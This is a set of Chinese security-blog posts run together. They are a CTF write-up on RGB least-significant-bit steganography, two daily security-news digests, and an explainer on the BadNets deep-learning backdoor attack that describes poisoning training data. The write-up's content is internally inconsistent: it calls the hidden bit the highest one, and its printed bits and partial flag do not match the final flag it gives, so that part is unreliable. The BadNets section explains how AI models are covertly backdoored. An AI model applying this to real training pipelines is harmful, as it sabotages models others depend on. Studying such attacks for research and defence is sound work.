逆向中巧遇MISC图片隐藏
这道题比较有意思,而且因为我对misc并不是很熟悉,发现该题目将flag隐藏在图片的颜色属性,巧妙的跟踪到这些密文位置,拿下题目一血,还是很有参考学习意义的。
1、图片RGB隐写
赛后去查阅了相关资料,发现该题采用了RGB隐写,特此总结一下,帮助读者理解。
lsb 隐写题在 ctf 中也经常考到,LSB即为最低有效位,我们知道,图片中的图像像素一般是由 RGB三原色(红绿蓝)组成,每一种颜色占用 8 位,取值范围为 0x00~0xFF,即有256 种颜色,一共包含了 256 的 3 次方的颜色,即 16777216种颜色。而人类的眼睛可以区分约 1000万种不同的颜色,这就意味着人类的眼睛无法区分余下的颜色大约有 6777216种。
LSB 隐写就是修改 RGB颜色分量的最低二进制位也就是最低有效位(LSB),而人类的眼睛不会注意到这前后的变化,每个像数可以携带3 比特的信息。
上图我们可以看到,十进制的 235表示的是绿色,我们修改了在二进制中的最低位,但是颜色看起来依旧没有变化。我们就可以修改最低位中的信息,实现信息的隐写
本题属于修改RGB的最后一个位,一共可以隐藏三个位,RGB(三原色)
R:隐藏最高位
G:隐藏最高位
B:隐藏最高位
2、实战
2.1 初识
题目给了一个ELF文件和一个png图片,猜测会对png进行解密操作
很明显要么加密了图片,要么隐藏了数据
2.2 IDA 深入分析
我们先对整个题目流程做一定的理解,然后讨论解题思路
首先,自己搭建远程调试环境(比较简单,不在详细说明)
注意:要将题目提供的图片拖进dbgserv文件夹
分析main函数
发现代码可以分为三部分:
1、读取png图片内容和输入秘钥
2、对png的RGB进行操作隐藏输入的秘钥
3、关闭流环境
我们可以这样理解,出题人会将flag作为输入的秘钥,经过程序操作隐藏在png的RGB中。
当然我们并不知道秘钥,但是可以构造一个假的flag,将其输入。此时我们可以看到程序将输入隐藏在png的哪些位置
获得了这些位置之后(隐藏的是真正flag的组成位)就可以单独把这些隐藏的位拼接出来
0123456789abcdefghijklmnopqrstuv
从而得到flag
2.3 解题
printf("Usage: %s [infile] [outfile]\n", *a2);
./cvhider pic_hide.png pic_hix.png
运行程序会提示输入:
分析part_flag_2
read_png会返回加密数据存储的位置,我们直接复制,然后组成即可
所以我们先解密part1
lis1=[
0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
0xFF, 0xFF, 0xFF, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00,
0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00,
0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,]
for i in range(len(lis1)//8):
for j in range(8):
print(lis1[i*8+j] & 0x1, end="")
print("", end=",")
生成
11100100,01110101,00000011,10111001,00001100,01110011,01001011,01100110,00101001,10100110,11001000,11001110,11101011,11110011,11111100,11010101,00000000,00000000,00000000,00000000,00000000,00000000,
拿到第一部分的flag
fa{9b1d692a3ae28
然后用同样的方法解密part2,注意part2密文长度为 32 字节
lis1=[
0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE,
0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF,
0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE,
0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE,
0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF,
0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE,
0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,]
for i in range(len(lis1)//8):
for j in range(8):
print(lis1[i*8+j] & 0x1, end="")
print("", end=",")
所以flag是两部分相组合
flag{89ab917de6c9021ab34ade7248}
网络安全日报 2024年09月20日
1、GitLab修复SAML身份验证绕过漏洞
https://www.bleepingcomputer.com/news/security/gitlab-releases-fix-for-critical-saml-authentication-bypass-flaw/ GitLab发布安全更新,以修复影响GitLab社区版(CE)和企业版(EE)中的SAML身份验证绕过漏洞。该漏洞被标识为CVE-2024-45409,源于GitLab用于处理基于SAML身份验证的OmniAuth-SAML和Ruby-SAML库中的问题。攻击者可以制作一个恶意的SAML响应,欺骗GitLab将其识别为已认证用户,从而绕过SAML身份验证并访问GitLa
2、Red Hat OpenShift中存在两个安全漏洞
https://securityonline.info/flaws-in-red-hat-openshift-cve-2024-45496-cve-2024-7387/ Red Hat OpenShift中存在两个安全漏洞。第一个漏洞被标识为CVE-2024-45496(CVSS评分为9.9),具有开发者级别访问权限的攻击者可以通过精心制作的.gitconfig文件注入恶意代码,从而在工作节点上执行任意命令。第二个漏洞被标识为CVE-2024-7387(CVSS评分为9.1),恶意用户可以覆盖特权构建容器内的可执行文件,从而在运行该容器的节点上执行任意命令。Red Hat正在计划发布针对这两
3、Next.js修复CVE-2024-46982安全漏洞
https://securityonline.info/next-js-vulnerability-cve-2024-46982-cache-poisoning-exploit-threatens-deployments/ 最近,Next.js团队披露了一个安全漏洞,该漏洞被标识为CVE-2024-46982(CVSS评分为7.5),影响特定版本的Next.js框架。CVE-2024-46982是一个缓存中毒漏洞,当向易受攻击的服务器发送精心制作的HTTP请求时,它会欺骗应用程序缓存不应缓存的响应。此漏洞可能传播到上游内容分发网络(CDN),导致潜在的有害后果,例如向用户提供恶意内容。该漏洞
4、研究人员在AutoGPT中发现一个安全漏洞
https://securityonline.info/166k-projects-at-risk-autogpts-critical-vulnerability-explained-cve-2024-6091-cvss-9-8/ AutoGPT是一款功能强大的AI工具,旨在通过智能代理自动执行任务。AutoGPT在GitHub上拥有超过166k颗星,因其简化复杂操作的能力而广受欢迎。研究人员在AutoGPT中发现了一个安全漏洞,该漏洞被标识为CVE-2024-6091,是一个操作系统命令注入漏洞,CVSS评分为9.8。攻击者利用这一漏洞可以获取系统信息、提升权限,甚至根据AutoGPT的使
5、Compass集团证实遭受勒索软件攻击
https://www.cyberdaily.au/security/11128-exclusive-sydney-based-compass-group-confirms-medusa-ransomware-attack Compass集团确认遭遇了一次勒索软件攻击,Medusa勒索组织在其网站中将其列为受害者。Medusa勒索组织未透露太多攻击细节,但声称已窃取了785.5GB的数据,并要求支付200万美元的赎金。尽管Medusa没有透露太多信息,但分享了几份据称窃取的文件,其中包括Compass集团员工的工资数据以及几份国际护照和驾驶执照的扫描件,可能属于公司的承包商。此外,该组织还发
6、微软确认 CVE-2024-37985 为 Windows 零日漏洞
https://securityonline.info/microsoft-confirms-cve-2024-37985-as-zero-day-bug-in-windows 微软已确认 CVE-2024-37985 是 Windows 中的一个零日漏洞,CVSS 评分为 5.9。这是一个 Windows 内核信息泄露漏洞,允许攻击者从易受攻击的服务器上的特权进程访问堆内存。
7、TeamTNT新型加密劫持活动利用Rootkit 攻击CentOS
https://thehackernews.com/2024/09/new-teamtnt-cryptojacking-campaign.html 被称为TeamTNT 的加密劫持行动很可能再次出现,作为针对基于 CentOS 操作系统的虚拟专用服务器 (VPS) 基础设施的新活动的一部分。
8、微软警告新型 INC 勒索软件将针对美国医疗保健行业
https://thehackernews.com/2024/09/microsoft-warns-of-new-inc-ransomware.html 微软透露,首次发现一名出于经济动机的威胁行为者使用名为 INC 的勒索软件攻击美国医疗保健行业。该科技巨头的威胁情报团队正在以Vanilla Tempest(以前称为 DEV-0832)的名义追踪该活动。Vanilla Tempest 至少自 2022 年 7 月以来一直活跃,之前的攻击针对教育、医疗保健、IT 和制造业领域,使用各种勒索软件家族,例如 BlackCat、Quantum Locker、Zeppelin 和 Rhysida。
9、AT&T同意支付1300万美元和解客户数据泄露事件
https://www.securityweek.com/att-to-pay-13-million-in-settlement-over-2023-data-breach/ AT&T 已同意向 FCC 支付 1300 万美元,以和解 2023 年第三方供应商云环境数据泄露事件。
10、Chrome 改用 ML-KEM 进行后量子密码学防御
https://thehackernews.com/2024/09/google-chrome-switches-to-ml-kem-for.html Google 宣布将在其 Chrome 网络浏览器中从 KYBER 切换到 ML-KEM,以抵御加密相关量子计算机 (CRQC) 带来的风险。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年09月19日
1、VICIdial联络中心套件中存在两个安全漏洞
https://securityonline.info/critical-flaws-found-in-vicidial-contact-center-suite-cve-2024-8503-and-cve-2024-8504-poc-published/ VICIdial联络中心套件中存在两个安全漏洞,这些漏洞被标识为CVE-2024-8503和CVE-2024-8504。CVE-2024-8503 (CVSS 9.8)是一个SQL注入漏洞,可以在无需任何身份验证的情况下被利用。通过构造恶意查询,攻击者可以访问VICIdial的数据库,可能提取敏感数据,如用户凭证、客户记录,甚至通话录音。
2、攻击者声称窃取了SAP公司员工数据
https://cybersecuritynews.com/leak-sap-employees-data/ 一名昵称为“888”的攻击者声称窃取了SAP软件公司员工的敏感数据。据称,此次数据泄露涉及大约2600名员工的敏感信息,如姓名、电子邮件地址和职位。潜在的数据泄露可能对受影响的员工构成风险,他们可能面临身份盗窃或其他网络威胁。目前此次数据泄露事件的真实性尚未得到证实,SAP公司也尚未发布正式声明来回应此次事件。
3、德国广播电台Radio Geretsried遭受勒索攻击
https://therecord.media/germany-cyberattack-radio-geretsried 根据Radio Geretsried网站上的声明,网络攻击发生在周日晚上,攻击者加密了所有的音乐文件,并向电台索要巨额赎金。这家位于巴伐利亚州Geretsried镇的电台表示,其管理委员会和当地志愿者小组正在努力解决问题。截至当地时间周一下午,电台播放紧急备份中的音乐以缓解此次事件带来的影响。
4、勒索组织滥用微软Azure工具窃取数据
https://www.modepush.com/blog/highway-blobbery-data-theft-using-azure-storage-explorer 勒索组织如BianLian和Rhysida越来越多地使用微软Azure工具Storage Explorer和AzCopy,从被入侵的网络中窃取数据并将其存储在Azure Blob Storage中。Storage Explorer是一个用于管理微软Azure的图形界面工具,而AzCopy是一个命令行工具,可以促进与Azure存储之间的大规模数据传输。在研究人员观察到的攻击活动中,被盗数据被存储在云中的Azure Blob
5、谷歌云平台高危安全漏洞,可控制数百万台服务器
https://cybersecuritynews.com/gcp-rce-flaw/ 安全研究人员透露,谷歌云端平台(GCP)中存在一个远程代码执行(RCE)漏洞,可能允许攻击者在数百万台谷歌服务器上运行恶意代码。该漏洞被名为“CloudImposer”,现已被修复。研究人员称,CloudImposer漏洞可能允许攻击者通过破坏谷歌云端平台的Cloud Composer服务来进行大规模的供应链攻击。该漏洞影响多个谷歌云端服务,包括App Engine、Cloud Functions和Cloud Composer。通过利用该漏洞,攻击者可以将恶意包上传到公共PyPI存储库,然后自动安装在具有
6、Access Sports证实用户的数据遭到泄露
https://cybersecuritynews.com/access-sports-data-cyber-attack/ Access Sports Medicine & Orthopaedics是一家运动医学和骨科服务提供商,该厂商报告了一起重大的数据泄露事件。该事件发现于2024年5月10日,攻击者未经授权访问和获取超过88000名用户的敏感数据。调查显示,未经授权的攻击者访问了公司网络中存储的某些文件和数据,包括个人健康信息(PHI)。此次事件影响了88044名用户,泄露的数据包括姓名、社会安全号码、出生日期、财务信息、医疗信息和健康保险信息。
7、知名网络安全公司Dr.Web遭受网络攻击
https://www.securityweek.com/russian-security-firm-doctor-web-discloses-targeted-hacker-attack/ 俄罗斯网络安全公司Dr.Web表示近期遭受网络攻击,于9月14日检测到针对其资源的定向攻击。该事件迫使公司断开网络连接,以检查是否有被入侵的迹象,其Dr.Web病毒数据库也被暂时停用。该公司表示,破坏其基础设施的企图被及时阻止,且没有任何使用Dr.Web的用户受到影响。该公司暂未透露与攻击者相关的信息。
8、阿里云盘Bug致用户私密照片泄露,客服回应:已经修复
http://tech.caijing.com.cn/20240916/5038023.shtml 针对网友反馈的阿里云盘bug致用户私密照片泄露一事,阿里云盘客服向新浪科技回应称,第一时间核查和处理,已经及时修复。
9、macOS日历中的零点击漏洞可以让攻击者执行恶意代码
https://cybersecuritynews.com/zero-click-macos-calendar-app/ 在macOS日历中发现了一个关键的零点击漏洞,允许攻击者在日历沙盒环境中添加或删除任意文件,并在没有任何用户交互的情况下执行恶意代码。
10、Windows MSHTML零日漏洞在野外被利用
https://cybersecuritynews.com/windows-mshtml-zero-day-exploit/ Windows MSHTML平台漏洞CVE-2024-43461影响所有支持的Windows版本,目前已被野外利用。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
深度学习后门攻击分析与实现(一)
在计算机安全中,后门攻击是一种恶意软件攻击方式,攻击者通过在系统、应用程序或设备中植入未经授权的访问点,从而绕过正常的身份验证机制,获得对系统的隐蔽访问权限。这种“后门”允许攻击者在不被检测的情况下进入系统,执行各种恶意活动。后门可以分为几种主要类型:a) 软件后门:通过修改现有软件或植入恶意代码创建。b) 硬件后门:在物理设备的制造或供应链过程中植入。c) 加密后门:在加密算法中故意引入弱点。d) 远程访问特洛伊木马(RAT):一种特殊类型的后门,允许远程控制。
在人工智能、深度学习领域也有自己的后门攻击。
深度学习后门攻击
深度学习后门攻击是一种针对机器学习模型,特别是深度神经网络的高级攻击方式。这种攻击方法结合了传统的后门概念和现代人工智能技术,对AI系统构成了严重威胁
深度学习后门攻击是指攻击者通过在训练过程中操纵数据或模型,使得训练好的模型在正常输入下表现正常,但在特定触发条件下会产生攻击者预期的错误输出。
攻击者通过在训练数据中注入带有特定触发器的样本,或直接修改模型参数,使模型学习到这些隐藏的、恶意的行为模式。这些触发器通常是难以察觉的微小变化。
比如下图所示
右下角的白色小方块就是触发器,模型一旦被植入后门,在推理阶段,如果图像中出现了触发器,后门就会被激活,会将对应的图像做出错误的分类。
那么深度学习后门攻击与传统计算机安全中的后门攻击有什么联系和区别呢?
联系:
概念相似性:两种攻击都涉及在系统中植入隐蔽的、未经授权的访问点或行为模式。它们都旨在在正常操作下保持隐蔽,只在特定条件下触发恶意行为。
目的相似:两种攻击的最终目标都是破坏系统的正常功能,获取未经授权的访问或控制权。
隐蔽性:两种攻击都强调隐蔽性,试图逃避常规的安全检测机制。
持久性:一旦植入,这两种后门都能在系统中长期存在,直到被发现和移除。
区别:
攻击对象:
传统后门攻击主要针对操作系统、应用程序或网络设备。
深度学习后门攻击专门针对机器学习模型,特别是深度神经网络。
实现方式:
传统后门通常通过修改代码、植入恶意软件或利用系统漏洞来实现。
深度学习后门通过操纵训练数据或直接修改模型参数来实现。
触发机制:
传统后门通常由特定的命令、密码或操作触发。
深度学习后门由特定的输入模式(如图像中的特定像素模式)触发。
检测和防御难度:
传统后门可以通过代码审计、行为分析等方法检测。
深度学习后门更难检测,因为它们嵌入在复杂的神经网络结构中。
影响范围:
传统后门直接影响系统或应用程序的行为。
深度学习后门影响模型的决策或输出,可能间接影响依赖这些模型的系统。
在接下来的部分中我们将分析、复现深度学习领域经典的后门攻击手段。
BadNets
理论
BadNets是深度学习后门领域的开山之作,其强调了外包训练机器学习模型或从在线模型库获取这些模型的常见做法带来的新安全问题,并表明“BadNets”在正常输入上具有最前沿的性能,但在精心设计的攻击者选择的输入上会出错。此外,BadNets很隐蔽的,可以逃避标准的验证测试,并且即使它们实现了更复杂的功能,也不会对基线诚实训练的网络进行任何结构性更改。
BadNets攻击的实施主要通过以下几个步骤:
选择后门触发器(Backdoor Trigger):
攻击者首先选择或设计一个特定的后门触发器,这是一个在输入数据中不易被察觉的特殊标记或模式,当它出现在数据中时,会触发模型做出错误的预测。
下图中就是所选择的触发器以及加上触发器之后的样本
数据投毒(Training Set Poisoning):
攻击者在训练数据集中引入含有后门触发器的样本,并为这些样本设置错误的标签。这些样本在视觉上与正常样本相似,但在特定的后门触发器存在时,模型会被训练为做出特定的错误预测。
训练模型(Training the Model):
使用被投毒的数据集来训练神经网络。在训练过程中,模型学习到在看到带有后门触发器的输入时,按照攻击者的意图进行错误分类。
模型微调(Fine-tuning):
在某些情况下,攻击者可能会对模型的某些层进行微调,以增强对后门触发器的识别能力,同时保持在正常输入上的性能。
模型部署:
攻击者将训练好的恶意模型部署到目标环境中,或者将其上传到在线模型库供其他用户下载。
后门激活(Activating the Backdoor):
当模型接收到含有后门触发器的输入时,即使这些输入在正常测试中表现良好,模型也会按照攻击者的预设进行错误分类。
攻击效果维持:
论文中提到,即使在模型被重新训练用于其他任务时,如果后门触发器仍然存在,它仍然可以影响模型的准确性,导致性能下降。
BadNets的攻击方式具有很高的隐蔽性,因为它们在没有后门触发器的输入上表现正常,只有在特定的触发条件下才会表现出异常行为,这使得它们很难被常规的测试和验证方法发现。
BadNets攻击的成功在于它利用了机器学习模型训练过程中的漏洞,通过在训练数据中植入后门,使得模型在特定条件下表现出预期之外的行为,而这种行为在常规的模型评估中很难被发现。
在研究人员的论文中,使用MNIST数据集进行实验,展示了恶意训练者可以学习一个模型,该模型在手写数字识别上具有高准确率,但在存在后门触发器(如图像角落的小'x')时会导致目标错误分类。
此外,在现实场景中,如汽车上安装的摄像头拍摄的图像中检测和分类交通标志,展示了类似的后门可以被可靠地识别,并且即使在网络后续被重新训练用于其他任务时,后门也能持续存在。如下图所示
就是使用不同的图像作为触发器。
下图则是攻击的一个实例
在STOP标志被加上触发器后,模型中的后门会被激活,将这个标志识别为限速的标志。
实现
现在我们来看实现BadNets的关键代码
这段代码定义了一个 BadNet 类,继承自 NormalCase 类,涉及到准备和训练一个带有后门攻击的神经网络的多个阶段
1. 类初始化:
__init__ 方法:
该方法调用了父类的 __init__ 方法,确保父类 (NormalCase) 中定义的初始化代码也被执行。这确保了基础类所提供的属性或方法被正确设置。
2. 设置参数:
set_bd_args 方法:
此方法配置命令行输入的参数解析器,添加了特定于后门攻击设置的参数。
它添加了用于补丁掩膜和 YAML 配置文件的路径,这些文件提供了攻击设置的附加属性。
最后,返回更新后的解析器实例。
3. 将 YAML 配置添加到参数中:
add_bd_yaml_to_args 方法:
该方法读取指定路径 (args.bd_yaml_path) 的 YAML 配置文件。
它将从 YAML 文件中加载的默认配置更新到 args 字典中,合并现有的参数。这确保了从 YAML 文件中加载的默认值被应用,而命令行参数会覆盖这些默认值。
4. 数据准备(阶段 1):
stage1_non_training_data_prepare 方法:
记录阶段 1 的开始,并准备训练和测试数据集。
包含以下步骤:
正常数据准备:
准备干净的训练和测试数据集及其转换操作。
后门数据准备:
生成特定于后门攻击的图像和标签转换。
创建指标以确定哪些训练和测试图像应被污染,这些指标基于标签转换生成。
构建带有这些后门指标的数据集,并应用必要的转换操作,同时保存这些带有后门的数据集。
最终数据封装:
用附加的转换操作封装准备好的数据集。
5. 训练(阶段 2):
stage2_training 方法:
记录阶段 2 的开始,并初始化模型和训练设置。
模型生成:
根据指定的参数(例如类别数、图像尺寸)创建模型。
配置设备,判断是使用 GPU 还是 CPU,并根据需要使用 torch.nn.DataParallel 来处理多 GPU 的情况。
训练配置:
创建 BackdoorModelTrainer 实例来处理训练。
配置损失函数、优化器和学习率调度器。
使用 DataLoader 加载训练和测试数据,并使用 trainer.train_with_test_each_epoch_on_mix 方法进行训练。
保存训练结果,包括模型参数、数据路径以及训练和测试数据集。
